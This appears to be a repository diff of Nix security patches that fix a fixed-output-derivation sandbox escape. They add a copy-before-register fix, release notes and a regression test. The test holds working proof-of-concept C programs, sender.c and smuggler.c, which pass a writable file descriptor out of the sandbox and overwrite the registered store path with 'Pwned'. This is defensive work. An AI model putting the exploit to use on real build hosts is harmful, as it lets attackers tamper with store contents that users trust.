||||
+}
|
||||
diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix
|
||||
index 4459aa664..4c1cf785c 100644
|
||||
--- a/tests/nixos/default.nix
|
||||
+++ b/tests/nixos/default.nix
|
||||
@@ -40,4 +40,6 @@ in
|
||||
setuid = lib.genAttrs
|
||||
["i686-linux" "x86_64-linux"]
|
||||
(system: runNixOSTestFor system ./setuid.nix);
|
||||
+
|
||||
+ ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak;
|
||||
}
|
||||
--
|
||||
2.42.0
|
||||
|
||||
|
||||
From 558dab42315f493aa4e8480a57c2d3b0834392ec Mon Sep 17 00:00:00 2001
|
||||
From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
|
||||
<theophane.hufschmitt@tweag.io>
|
||||
Date: Tue, 13 Feb 2024 08:28:02 +0100
|
||||
Subject: [PATCH 2/4] Copy the output of fixed-output derivations before
|
||||
registering them
|
||||
|
||||
It is possible to exfiltrate a file descriptor out of the build sandbox
|
||||
of FODs, and use it to modify the store path after it has been
|
||||
registered.
|
||||
To avoid that issue, don't register the output of the build, but a copy
|
||||
of it (that will be free of any leaked file descriptor).
|
||||
---
|
||||
src/libstore/build/local-derivation-goal.cc | 6 ++++++
|
||||
src/libutil/file-system.cc | 5 +++++
|
||||
src/libutil/file-system.hh | 7 +++++++
|
||||
3 files changed, 18 insertions(+)
|
||||
|
||||
diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc
|
||||
index a9f930773..d83c47d00 100644
|
||||
--- a/src/libstore/build/local-derivation-goal.cc
|
||||
+++ b/src/libstore/build/local-derivation-goal.cc
|
||||
@@ -2543,6 +2543,12 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
|
||||
[&](const DerivationOutput::CAFixed & dof) {
|
||||
auto & wanted = dof.ca.hash;
|
||||
|
||||
+ // Replace the output by a fresh copy of itself to make sure
|
||||
+ // that there's no stale file descriptor pointing to it
|
||||
+ Path tmpOutput = actualPath + ".tmp";
|
||||
+ copyFile(actualPath, tmpOutput, true);
|
||||
+ renameFile(tmpOutput, actualPath);
|
||||
+
|
||||
auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating {
|
||||
.method = dof.ca.method,
|
||||
.hashType = wanted.type,
|
||||
diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc
|
||||
index c96effff9..777f83c30 100644
|
||||
--- a/src/libutil/file-system.cc
|
||||
+++ b/src/libutil/file-system.cc
|
||||
@@ -616,6 +616,11 @@ void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete)
|
||||
}
|
||||
}
|
||||
|
||||
+void copyFile(const Path & oldPath, const Path & newPath, bool andDelete)
|
||||
+{
|
||||
+ return copy(fs::directory_entry(fs::path(oldPath)), fs::path(newPath), andDelete);
|
||||
+}
|
||||
+
|
||||
void renameFile(const Path & oldName, const Path & newName)
|
||||
{
|
||||
fs::rename(oldName, newName);
|
||||
diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh
|
||||
index 4637507b3..71db7d8bc 100644
|
||||
--- a/src/libutil/file-system.hh
|
||||
+++ b/src/libutil/file-system.hh
|
||||
@@ -186,6 +186,13 @@ void renameFile(const Path & src, const Path & dst);
|
||||
*/
|
||||
void moveFile(const Path & src, const Path & dst);
|
||||
|
||||
+/**
|
||||
+ * Recursively copy the content of `oldPath` to `newPath`. If `andDelete` is
|
||||
+ * `true`, then also remove `oldPath` (making this equivalent to `moveFile`, but
|
||||
+ * with the guaranty that the destination will be “fresh”, with no stale inode
|
||||
+ * or file descriptor pointing to it).
|
||||
+ */
|
||||
+void copyFile(const Path & oldPath, const Path & newPath, bool andDelete);
|
||||
|
||||
/**
|
||||
* Automatic cleanup of resources.
|
||||
--
|
||||
2.42.0
|
||||
|
||||
|
||||
From 6adce5c3baddf20a5865a646a6d5117e83693497 Mon Sep 17 00:00:00 2001
|
||||
From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
|
||||
<7226587+thufschmitt@users.noreply.github.com>
|
||||
Date: Wed, 21 Feb 2024 17:32:36 +0100
|
||||
Subject: [PATCH 3/4] Fix a typo in a test comment
|
||||
|
||||
Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
|
||||
---
|
||||
tests/nixos/ca-fd-leak/default.nix | 2 +-
|
||||
1 file changed, 1 insertion(+), 1 deletion(-)
|
||||
|
||||
diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix
|
||||
index 40e57ea02..a6ae72adc 100644
|
||||
--- a/tests/nixos/ca-fd-leak/default.nix
|
||||
+++ b/tests/nixos/ca-fd-leak/default.nix
|
||||
@@ -80,7 +80,7 @@ in
|
||||
# Tell the smuggler server that we're done
|
||||
machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
|
||||
|
||||
- # Check that the file was modified
|
||||
+ # Check that the file was not modified
|
||||
machine.succeed(r"""
|
||||
cat ./result
|
||||
test "$(cat ./result)" = "hello, world"
|
||||
--
|
||||
2.42.0
|
||||
|
||||
|
||||
From 7a803d9d5460cc990f20eff7d4d5a3623298c15b Mon Sep 17 00:00:00 2001
|
||||
From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
|
||||
<theophane.hufschmitt@tweag.io>
|
||||
Date: Fri, 1 Mar 2024 09:31:05 +0100
|
||||
Subject: [PATCH 4/4] Add release notes
|
||||
|
||||
---
|
||||
doc/manual/rl-next/fod-sandbox-escape.md | 14 ++++++++++++++
|
||||
1 file changed, 14 insertions(+)
|
||||
create mode 100644 doc/manual/rl-next/fod-sandbox-escape.md
|
||||
|
||||
diff --git a/doc/manual/rl-next/fod-sandbox-escape.md b/doc/manual/rl-next/fod-sandbox-escape.md
|
||||
new file mode 100644
|
||||
index 000000000..ed451711e
|
||||
--- /dev/null
|
||||
+++ b/doc/manual/rl-next/fod-sandbox-escape.md
|
||||
@@ -0,0 +1,14 @@
|
||||
+---
|
||||
+synopsis: Fix a FOD sandbox escape
|
||||
+issues:
|
||||
+prs:
|
||||
+---
|
||||
+
|
||||
+Cooperating Nix derivations could send file descriptors to files in the Nix
|
||||
+store to each other via Unix domain sockets in the abstract namespace. This
|
||||
+allowed one derivation to modify the output of the other derivation, after Nix
|
||||
+has registered the path as "valid" and immutable in the Nix database.
|
||||
+In particular, this allowed the output of fixed-output derivations to be
|
||||
+modified from their expected content.
|
||||
+
|
||||
+This isn't the case any more.
|
||||
--
|
||||
2.42.0
|
|
@ -0,0 +1,375 @@
|
|||
From 9c0be4c156e74a3e7e0d33b04d870642350e72d4 Mon Sep 17 00:00:00 2001
|
||||
From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
|
||||
<theophane.hufschmitt@tweag.io>
|
||||
Date: Mon, 12 Feb 2024 21:28:20 +0100
|
||||
Subject: [PATCH 1/4] Add a NixOS test for the sandbox escape
|
||||
|
||||
Test that we can't leverage abstract unix domain sockets to leak file
|
||||
descriptors out of the sandbox and modify the path after it has been
|
||||
registered.
|
||||
---
|
||||
release.nix | 5 ++
|
||||
tests/nixos/ca-fd-leak/default.nix | 93 ++++++++++++++++++++++++++++++
|
||||
tests/nixos/ca-fd-leak/sender.c | 65 +++++++++++++++++++++
|
||||
tests/nixos/ca-fd-leak/smuggler.c | 66 +++++++++++++++++++++
|
||||
4 files changed, 229 insertions(+)
|
||||
create mode 100644 tests/nixos/ca-fd-leak/default.nix
|
||||
create mode 100644 tests/nixos/ca-fd-leak/sender.c
|
||||
create mode 100644 tests/nixos/ca-fd-leak/smuggler.c
|
||||
|
||||
diff --git a/release.nix b/release.nix
|
||||
index f468946c5..2e71f3796 100644
|
||||
--- a/release.nix
|
||||
+++ b/release.nix
|
||||
@@ -235,6 +235,11 @@ let
|
||||
nix = build.x86_64-linux; system = "x86_64-linux";
|
||||
});
|
||||
|
||||
+ tests.ca-fd-leak = (import ./tests/nixos/ca-fd-leak rec {
|
||||
+ inherit nixpkgs;
|
||||
+ nix = build.x86_64-linux; system = "x86_64-linux";
|
||||
+ });
|
||||
+
|
||||
tests.setuid = pkgs.lib.genAttrs
|
||||
["i686-linux" "x86_64-linux"]
|
||||
(system:
|
||||
diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix
|
||||
new file mode 100644
|
||||
index 000000000..c252caa4d
|
||||
--- /dev/null
|
||||
+++ b/tests/nixos/ca-fd-leak/default.nix
|
||||
@@ -0,0 +1,93 @@
|
||||
+# Nix is a sandboxed build system. But Not everything can be handled inside its
|
||||
+# sandbox: Network access is normally blocked off, but to download sources, a
|
||||
+# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
|
||||
+# The detail here is not important, but in our case it means that the hash of
|
||||
+# the output has to be known beforehand. And if you know that, you get a few
|
||||
+# rights: you no longer run inside a special network namespace!
|
||||
+#
|
||||
+# Now, Linux has a special feature, that not many other unices do: Abstract
|
||||
+# unix domain sockets! Not only that, but those are namespaced using the
|
||||
+# network namespace! That means that we have a way to create sockets that are
|
||||
+# available in every single fixed-output derivation, and also all processes
|
||||
+# running on the host machine! Now, this wouldn't be that much of an issue, as,
|
||||
+# well, the whole idea is that the output is pure, and all processes in the
|
||||
+# sandbox are killed before finalizing the output. What if we didn't need those
|
||||
+# processes at all? Unix domain sockets have a semi-known trick: you can pass
|
||||
+# file descriptors around!
|
||||
+# This makes it possible to exfiltrate a file-descriptor with write access to
|
||||
+# $out outside of the sandbox. And that file-descriptor can be used to modify
|
||||
+# the contents of the store path after it has been registered.
|
||||
+
|
||||
+{ nixpkgs, system, nix }:
|
||||
+
|
||||
+with import (nixpkgs + "/nixos/lib/testing-python.nix") {
|
||||
+ inherit system;
|
||||
+};
|
||||
+
|
||||
+let
|
||||
+ # Simple C program that sends a a file descriptor to `$out` to a Unix
|
||||
+ # domain socket.
|
||||
+ # Compiled statically so that we can easily send it to the VM and use it
|
||||
+ # inside the build sandbox.
|
||||
+ sender = pkgs.runCommandWith {
|
||||
+ name = "sender";
|
||||
+ stdenv = pkgs.pkgsStatic.stdenv;
|
||||
+ } ''
|
||||
+ $CC -static -o $out ${./sender.c}
|
||||
+ '';
|
||||
+
|
||||
+ # Okay, so we have a file descriptor shipped out of the FOD now. But the
|
||||
+ # Nix store is read-only, right? .. Well, yeah. But this file descriptor
|
||||
+ # lives in a mount namespace where it is not! So even when this file exists
|
||||
+ # in the actual Nix store, we're capable of just modifying its contents...
|
||||
+ smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c);
|
||||
+
|
||||
+ # The abstract socket path used to exfiltrate the file descriptor
|
||||
+ socketName = "FODSandboxExfiltrationSocket";
|
||||
+in
|
||||
+makeTest {
|
||||
+ name = "ca-fd-leak";
|
||||
+
|
||||
+ nodes.machine =
|
||||
+ { config, lib, pkgs, ... }:
|
||||
+ { virtualisation.writableStore = true;
|
||||
+ virtualisation.pathsInNixDB = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ];
|
||||
+ nix.binaryCaches = [ ];
|
||||
+ nix.package = nix;
|
||||
+ };
|
||||
+
|
||||
+ testScript = { nodes }: ''
|
||||
+ start_all()
|
||||
+
|
||||
+ machine.succeed("echo hello")
|
||||
+ # Start the smuggler server
|
||||
+ machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &")
|
||||
+
|
||||
+ # Build the smuggled derivation.
|
||||
+ # This will connect to the smuggler server and send it the file descriptor
|
||||
+ machine.succeed(r"""
|
||||
+ nix-build -E '
|
||||
+ builtins.derivation {
|
||||
+ name = "smuggled";
|
||||
+ system = builtins.currentSystem;
|
||||
+ # look ma, no tricks!
|
||||
+ outputHashMode = "flat";
|
||||
+ outputHashAlgo = "sha256";
|
||||
+ outputHash = builtins.hashString "sha256" "hello, world\n";
|
||||
+ builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
|
||||
+ args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ];
|
||||
+ }'
|
||||
+ """.strip())
|
||||
+
|
||||
+
|
||||
+ # Tell the smuggler server that we're done
|
||||
+ machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
|
||||
+
|
||||
+ # Check that the file was modified
|
||||
+ machine.succeed(r"""
|
||||
+ cat ./result
|
||||
+ test "$(cat ./result)" = "hello, world"
|
||||
+ """.strip())
|
||||
+ '';
|
||||
+
|
||||
+}
|
||||
diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c
|
||||
new file mode 100644
|
||||
index 000000000..75e54fc8f
|
||||
--- /dev/null
|
||||
+++ b/tests/nixos/ca-fd-leak/sender.c
|
||||
@@ -0,0 +1,65 @@
|
||||
+#include <sys/socket.h>
|
||||
+#include <sys/un.h>
|
||||
+#include <stdlib.h>
|
||||
+#include <stddef.h>
|
||||
+#include <stdio.h>
|
||||
+#include <unistd.h>
|
||||
+#include <fcntl.h>
|
||||
+#include <errno.h>
|
||||
+#include <string.h>
|
||||
+#include <assert.h>
|
||||
+
|
||||
+int main(int argc, char **argv) {
|
||||
+
|
||||
+ assert(argc == 2);
|
||||
+
|
||||
+ int sock = socket(AF_UNIX, SOCK_STREAM, 0);
|
||||
+
|
||||
+ // Set up a abstract domain socket path to connect to.
|
||||
+ struct sockaddr_un data;
|
||||
+ data.sun_family = AF_UNIX;
|
||||
+ data.sun_path[0] = 0;
|
||||
+ strcpy(data.sun_path + 1, argv[1]);
|
||||
+
|
||||
+ // Now try to connect, To ensure we work no matter what order we are
|
||||
+ // executed in, just busyloop here.
|
||||
+ int res = -1;
|
||||
+ while (res < 0) {
|
||||
+ res = connect(sock, (const struct sockaddr *)&data,
|
||||
+ offsetof(struct sockaddr_un, sun_path)
|
||||
+ + strlen(argv[1])
|
||||
+ + 1);
|
||||
+ if (res < 0 && errno != ECONNREFUSED) perror("connect");
|
||||
+ if (errno != ECONNREFUSED) break;
|
||||
+ }
|
||||
+
|
||||
+ // Write our message header.
|
||||
+ struct msghdr msg = {0};
|
||||
+ msg.msg_control = malloc(128);
|
||||
+ msg.msg_controllen = 128;
|
||||
+
|
||||
+ // Write an SCM_RIGHTS message containing the output path.
|
||||
+ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
|
||||
+ hdr->cmsg_len = CMSG_LEN(sizeof(int));
|
||||
+ hdr->cmsg_level = SOL_SOCKET;
|
||||
+ hdr->cmsg_type = SCM_RIGHTS;
|
||||
+ int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
|
||||
+ memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
|
||||
+
|
||||
+ msg.msg_controllen = CMSG_SPACE(sizeof(int));
|
||||
+
|
||||
+ // Write a single null byte too.
|
||||
+ msg.msg_iov = malloc(sizeof(struct iovec));
|
||||
+ msg.msg_iov[0].iov_base = "";
|
||||
+ msg.msg_iov[0].iov_len = 1;
|
||||
+ msg.msg_iovlen = 1;
|
||||
+
|
||||
+ // Send it to the othher side of this connection.
|
||||
+ res = sendmsg(sock, &msg, 0);
|
||||
+ if (res < 0) perror("sendmsg");
|
||||
+ int buf;
|
||||
+
|
||||
+ // Wait for the server to close the socket, implying that it has
|
||||
+ // received the commmand.
|
||||
+ recv(sock, (void *)&buf, sizeof(int), 0);
|
||||
+}
|
||||
diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c
|
||||
new file mode 100644
|
||||
index 000000000..82acf37e6
|
||||
--- /dev/null
|
||||
+++ b/tests/nixos/ca-fd-leak/smuggler.c
|
||||
@@ -0,0 +1,66 @@
|
||||
+#include <sys/socket.h>
|
||||
+#include <sys/un.h>
|
||||
+#include <stdlib.h>
|
||||
+#include <stddef.h>
|
||||
+#include <stdio.h>
|
||||
+#include <unistd.h>
|
||||
+#include <assert.h>
|
||||
+
|
||||
+int main(int argc, char **argv) {
|
||||
+
|
||||
+ assert(argc == 2);
|
||||
+
|
||||
+ int sock = socket(AF_UNIX, SOCK_STREAM, 0);
|
||||
+
|
||||
+ // Bind to the socket.
|
||||
+ struct sockaddr_un data;
|
||||
+ data.sun_family = AF_UNIX;
|
||||
+ data.sun_path[0] = 0;
|
||||
+ strcpy(data.sun_path + 1, argv[1]);
|
||||
+ int res = bind(sock, (const struct sockaddr *)&data,
|
||||
+ offsetof(struct sockaddr_un, sun_path)
|
||||
+ + strlen(argv[1])
|
||||
+ + 1);
|
||||
+ if (res < 0) perror("bind");
|
||||
+
|
||||
+ res = listen(sock, 1);
|
||||
+ if (res < 0) perror("listen");
|
||||
+
|
||||
+ int smuggling_fd = -1;
|
||||
+
|
||||
+ // Accept the connection a first time to receive the file descriptor.
|
||||
+ fprintf(stderr, "%s\n", "Waiting for the first connection");
|
||||
+ int a = accept(sock, 0, 0);
|
||||
+ if (a < 0) perror("accept");
|
||||
+
|
||||
+ struct msghdr msg = {0};
|
||||
+ msg.msg_control = malloc(128);
|
||||
+ msg.msg_controllen = 128;
|
||||
+
|
||||
+ // Receive the file descriptor as sent by the smuggler.
|
||||
+ recvmsg(a, &msg, 0);
|
||||
+
|
||||
+ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
|
||||
+ while (hdr) {
|
||||
+ if (hdr->cmsg_level == SOL_SOCKET
|
||||
+ && hdr->cmsg_type == SCM_RIGHTS) {
|
||||
+
|
||||
+ // Grab the copy of the file descriptor.
|
||||
+ memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
|
||||
+ }
|
||||
+
|
||||
+ hdr = CMSG_NXTHDR(&msg, hdr);
|
||||
+ }
|
||||
+ fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
|
||||
+ close(a);
|
||||
+
|
||||
+ // Wait for a second connection, which will tell us that the build is
|
||||
+ // done
|
||||
+ a = accept(sock, 0, 0);
|
||||
+ fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
|
||||
+ // Write a new content to the file
|
||||
+ if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
|
||||
+ char * new_content = "Pwned\n";
|
||||
+ int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
|
||||
+ if (written_bytes != strlen(new_content)) perror("write");
|
||||
+}
|
||||
|
||||
From 8c27eb6c1bc490c9d2f3c7c1dedb1ca3c8e00759 Mon Sep 17 00:00:00 2001
|
||||
From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
|
||||
<theophane.hufschmitt@tweag.io>
|
||||
Date: Tue, 13 Feb 2024 08:28:02 +0100
|
||||
Subject: [PATCH 2/4] Copy the output of fixed-output derivations before
|
||||
registering them
|
||||
|
||||
It is possible to exfiltrate a file descriptor out of the build sandbox
|
||||
of FODs, and use it to modify the store path after it has been
|
||||
registered.
|
||||
To avoid that issue, don't register the output of the build, but a copy
|
||||
of it (that will be free of any leaked file descriptor).
|
||||
---
|
||||
src/libstore/build.cc | 11 +++++++++--
|
||||
1 file changed, 9 insertions(+), 2 deletions(-)
|
||||
|
||||
diff --git a/src/libstore/build.cc b/src/libstore/build.cc
|
||||
index d3a712c1a..3fb827a15 100644
|
||||
--- a/src/libstore/build.cc
|
||||
+++ b/src/libstore/build.cc
|
||||
@@ -3286,10 +3286,17 @@ void DerivationGoal::registerOutputs()
|
||||
throw BuildError(format("suspicious ownership or permission on '%1%'; rejecting this build output") % path);
|
||||
#endif
|
||||
|
||||
- /* Apply hash rewriting if necessary. */
|
||||
+ /* Apply hash rewriting if necessary.
|
||||
+ *
|
||||
+ * For FODs, we always do the dump-and-restore dance regardless to make
|
||||
+ * sure that there's no stale file descriptor pointing to the output
|
||||
+ * of the path.
|
||||
+ * */
|
||||
bool rewritten = false;
|
||||
- if (!outputRewrites.empty()) {
|
||||
+ if (fixedOutput || !outputRewrites.empty()) {
|
||||
+ if (!outputRewrites.empty()) {
|
||||
printError(format("warning: rewriting hashes in '%1%'; cross fingers") % path);
|
||||
+ }
|
||||
|
||||
/* Canonicalise first. This ensures that the path we're
|
||||
rewriting doesn't contain a hard link to /etc/shadow or
|
||||
|
||||
From 2064277b0566c361339d55fbbf46edbc2519f3b3 Mon Sep 17 00:00:00 2001
|
||||
From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
|
||||
<7226587+thufschmitt@users.noreply.github.com>
|
||||
Date: Wed, 21 Feb 2024 17:32:36 +0100
|
||||
Subject: [PATCH 3/4] Fix a typo in a test comment
|
||||
|
||||
Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
|
||||
---
|
||||
tests/nixos/ca-fd-leak/default.nix | 2 +-
|
||||
1 file changed, 1 insertion(+), 1 deletion(-)
|
||||
|
||||
diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix
|
||||
index c252caa4d..2fd5ca2d6 100644
|
||||
--- a/tests/nixos/ca-fd-leak/default.nix
|
||||
+++ b/tests/nixos/ca-fd-leak/default.nix
|
||||
@@ -83,7 +83,7 @@ makeTest {
|
||||
# Tell the smuggler server that we're done
|
||||
machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
|
||||
|
||||
- # Check that the file was modified
|
||||
+ # Check that the file was not modified
|
||||
machine.succeed(r"""
|
||||
cat ./result
|
||||
test "$(cat ./result)" = "hello, world"
|
||||
|
||||
From 8604f6d32976fbdf84e46f75cbfa2446209b8a6b Mon Sep 17 00:00:00 2001
|
||||
From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
|
||||
<theophane.hufschmitt@tweag.io>
|
||||
Date: Fri, 1 Mar 2024 09:31:05 +0100
|
||||
Subject: [PATCH 4/4] Add release notes
|
||||
|
||||
---
|
||||
doc/manual/rl-next/fod-sandbox-escape.md | 14 ++++++++++++++
|
||||
1 file changed, 14 insertions(+)
|
||||
create mode 100644 doc/manual/rl-next/fod-sandbox-escape.md
|
||||
|
||||
diff --git a/doc/manual/rl-next/fod-sandbox-escape.md b/doc/manual/rl-next/fod-sandbox-escape.md
|
||||
new file mode 100644
|
||||
index 000000000..ed451711e
|
||||
--- /dev/null
|
||||
+++ b/doc/manual/rl-next/fod-sandbox-escape.md
|
||||
@@ -0,0 +1,14 @@
|
||||
+---
|
||||
+synopsis: Fix a FOD sandbox escape
|
||||
+issues:
|
||||
+prs:
|
||||
+---
|
||||
+
|
||||
+Cooperating Nix derivations could send file descriptors to files in the Nix
|
||||
+store to each other via Unix domain sockets in the abstract namespace. This
|
||||
+allowed one derivation to modify the output of the other derivation, after Nix
|
||||
+has registered the path as "valid" and immutable in the Nix database.
|
||||
+In particular, this allowed the output of fixed-output derivations to be
|
||||
+modified from their expected content.
|
||||
+
|
||||
+This isn't the case any more.
|
Loading…
Reference in a new issue